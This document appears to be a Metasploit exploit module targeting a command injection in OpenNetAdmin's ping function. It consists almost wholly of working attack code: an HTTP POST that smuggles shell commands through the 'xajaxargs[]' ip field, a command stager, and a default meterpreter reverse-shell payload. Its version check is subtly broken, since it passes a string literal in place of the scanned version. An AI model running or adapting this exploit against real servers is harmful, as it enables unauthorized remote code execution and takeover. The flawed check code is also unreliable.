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104 | class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenNetAdmin Ping Command Injection',
'Description' => %q{
This module exploits a command injection in OpenNetAdmin between 8.5.14 and 18.1.1.
},
'Author' =>
[
'mattpascoe', # Vulnerability discovery
'Onur ER <onur@onurer.net>' # Metasploit module
],
'References' =>
[
['EDB', '47691']
],
'DisclosureDate' => '2019-11-19',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' =>
[
['Automatic Target', {}]
],
'DefaultOptions' =>
{
'RPORT' => 80,
'payload' => 'linux/x86/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0))
register_options(
[
OptString.new('VHOST', [false, 'HTTP server virtual host']),
OptString.new('TARGETURI', [true, 'Base path', '/ona/login.php'])
]
)
end
def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => false,
'vars_post' => {
'xajax' => 'window_open',
'xajaxargs[]' => 'app_about'
}
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.body =~ /OpenNetAdmin/i
return CheckCode::Safe
end
opennetadmin_version = res.body.scan(/OpenNetAdmin - v([\d\.]+)/).flatten.first
version = Gem::Version.new('opennetadmin_version')
if version
vprint_status "OpenNetAdmin version #{version}"
end
if version >= Gem::Version.new('8.5.14') && version <= Gem::Version.new('18.1.1')
return CheckCode::Appears
end
CheckCode::Detected
end
def exploit
print_status('Exploiting...')
execute_cmdstager(flavor: :printf)
end
def filter_bad_chars(cmd)
cmd.gsub!(/chmod \+x/, 'chmod 777')
end
def execute_command(cmd, opts = {})
post_data = "xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;#{filter_bad_chars(cmd)};&xajaxargs[]=ping"
begin
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => false,
'data' => post_data
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end
|